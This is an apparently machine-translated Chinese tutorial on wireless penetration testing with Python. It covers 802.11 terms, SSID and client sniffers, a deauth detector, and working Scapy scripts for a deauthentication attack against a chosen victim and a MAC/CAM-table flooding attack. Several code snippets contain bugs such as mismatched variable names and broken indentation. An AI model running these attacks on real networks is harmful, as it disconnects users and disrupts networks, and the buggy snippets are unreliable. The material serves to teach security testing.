📜  无线网络的渗透测试

📅  最后修改于: 2020-12-06 10:34:07             🧑  作者: Mango


无线系统具有很大的灵活性,但另一方面,它也会导致严重的安全问题。而且,这如何成为一个严重的安全问题-因为在无线连接的情况下,攻击者只需要具有可用的信号来进行攻击即可,而不是像有线网络一样具有物理访问权限。与在有线网络上进行渗透测试相比,对无线系统进行渗透测试更容易。我们不能真正针对无线介质采取良好的物理安全措施,如果我们离得足够近,我们将能够“听到”(或至少您的无线适配器能够听到)流过的所有内容。

先决条件

在深入了解无线网络的渗透测试之前,让我们考虑讨论客户端和无线系统之间的术语和通信过程。

重要术语

现在让我们学习与无线网络的渗透测试有关的重要术语。

接入点(AP)

接入点(AP)是802.11无线实现中的中心节点。该点用于将用户连接到网络中的其他用户,也可以用作无线LAN(WLAN)和固定有线网络之间的互连点。在WLAN中,AP是发送和接收数据的站点。

服务集标识符(SSID)

它是0-32字节长的人类可读文本字符串,基本上是分配给无线网络的名称。网络中的所有设备必须使用区分大小写的名称,才能通过无线网络(Wi-Fi)进行通信。

基本服务集标识(BSSID)

它是在无线访问点(AP)上运行的Wi-Fi芯片组的MAC地址。它是随机生成的。

频道编号

它代表接入点(AP)用于传输的射频范围。

客户端与无线系统之间的通信

我们需要了解的另一重要事项是客户端与无线系统之间的通信过程。借助下图,我们可以理解相同的内容-

客户端与无线系统通信

信标架

在客户端和接入点之间的通信过程中,AP会定期发送信标帧以显示其存在。该帧带有与SSID,BSSID和信道号有关的信息。

探测请求

现在,客户端设备将发送探测请求以检查范围内的AP。发送探测请求后,它将等待来自AP的探测响应。探测请求包含诸如AP的SSID,供应商特定信息等信息。

探测响应

现在,在获得探测请求之后,AP将发送一个探测响应,其中包含诸如支持的数据速率,功能等信息。

认证请求

现在,客户端设备将发送包含其身份的身份验证请求帧。

身份验证响应

现在作为响应,AP将发送指示接受或拒绝的认证响应帧。

协会要求

认证成功后,客户端设备发送了关联请求帧,其中包含支持的数据速率和AP的SSID。

协会回应

现在作为响应,AP将发送关联响应帧以指示接受或拒绝。如果接受,将创建客户端设备的关联ID。

使用Python查找无线服务集标识符(SSID)

我们可以借助原始套接字方法以及使用Scapy库来收集有关SSID的信息。

原始套接字方法

我们已经了解到mon0捕获无线数据包。因此,我们需要将监视模式设置为mon0 。在Kali Linux中,可以借助airmon-ng脚本来完成。运行此脚本后,它将为无线网卡命名为wlan1 。现在,借助以下命令,我们需要在mon0上启用监视模式-

airmon-ng start wlan1

以下是原始套接字方法, Python脚本,它将为我们提供AP的SSID-

首先,我们需要导入套接字模块,如下所示:

import socket

现在,我们将创建一个具有三个参数的套接字。第一个参数告诉我们有关包接口的信息(Linux专用的PF_PACKET和Windows的AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包都感兴趣。

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

现在,下一行将绑定mon0模式和0x0003

s.bind(("mon0", 0x0003))

现在,我们需要声明一个空列表,该列表将存储AP的SSID。

ap_list = []

现在,我们需要调用recvfrom()方法来接收数据包。为了继续进行嗅探,我们将使用无限while循环。

while True:
   packet = s.recvfrom(2048)

下一行代码显示该帧是否为8位,指示信标帧。

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Scapy的SSID嗅探器

Scapy是可以让我们轻松嗅探Wi-Fi数据包的最佳库之一。您可以在https://scapy.readthedocs.io/en/latest/上详细了解Scapy。首先,以交互方式运行Sacpy并使用命令conf获取iface的值。默认接口是eth0。现在,有了上面的圆顶,我们需要将此模式更改为mon0。它可以做到如下-

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets


>>> len(packets)
3

现在让我们将Scapy导入为库。此外,以下Python脚本的执行将为我们提供SSID-

from scapy.all import *

现在,我们需要声明一个空列表,该列表将存储AP的SSID。

ap_list = []

现在,我们将定义一个名为Packet_info()的函数,它将具有完整的数据包解析逻辑。它将带有参数pkt。

def Packet_info(pkt) :

在下一条语句中,我们将应用一个过滤器,该过滤器将仅通过Dot11通信,即802.11通信。接下来的行也是一个过滤器,该过滤器传递具有帧类型0(表示管理帧)和帧子类型为8(表示信标帧)的流量。

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

现在,sniff函数将使用ifacemon0 (对于无线数据包)嗅探数据,并调用Packet_info函数。

sniff(iface = "mon0", prn = Packet_info)

为了实现上述Python脚本,我们需要能够使用监控模式嗅探空气的Wi-Fi卡。

检测接入点客户端

为了检测接入点的客户端,我们需要捕获探测请求帧。就像使用Scapy在SSID嗅探器的Python脚本中所做的那样,我们可以做到这一点。我们需要提供Dot11ProbeReq来捕获探测请求帧。以下是检测访问点客户端的Python脚本-

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

无线攻击

从一个月的时间来看,了解如何进行无线攻击非常重要。在本节中,我们将讨论两种无线攻击-

  • 取消身份验证(deauth)攻击

  • MAC泛洪攻击

取消身份验证(deauth)攻击

在客户端设备和接入点之间的通信过程中,每当客户端要断开连接时,它都需要发送取消身份验证帧。响应于来自客户端的那个帧,AP还将发送一个去认证帧。攻击者可以通过欺骗受害者的MAC地址并将取消身份验证帧发送到AP,从正常过程中获得好处。因此,客户端和AP之间的连接被断开。以下是执行取消身份验证攻击的Python脚本-

让我们首先将Scapy导入为库-

from scapy.all import *
import sys

以下两个语句将分别输入AP和受害者的MAC地址。

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

现在,我们需要创建取消身份验证框架。可以通过执行以下语句来创建它。

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

下一行代码代表发送的数据包总数。这里是500和两个数据包之间的间隔。

sendp(frame, iface = "mon0", count = 500, inter = .1)

输出

执行后,以上命令生成以下输出-

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

接下来是创建deauth帧,从而代表客户端将其发送到访问点。这将使它们之间的连接被取消。

这里的问题是我们如何使用Python脚本检测deauth攻击。执行以下Python脚本将有助于检测此类攻击-

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

在上面的脚本中,语句pkt.subtype == 12表示取消身份验证帧,而全局定义的变量I表示数据包的数量。

输出

上面脚本的执行将产生以下输出-

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

MAC地址泛洪攻击

MAC地址泛洪攻击(CAM表泛洪攻击)是一种网络攻击,其中连接到交换机端口的攻击者通过大量具有不同假源MAC地址的以太网帧来泛洪交换机接口。当大量MAC地址涌入表且达到CAM表阈值时,就会发生CAM表溢出。这将导致交换机像集线器一样,在所有端口上充斥网络流量。这样的攻击很容易发动。以下Python脚本有助于启动此类CAM泛洪攻击-

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

这种攻击的主要目的是检查交换机的安全性。如果要减轻MAC泛洪攻击的影响,我们需要使用端口安全性。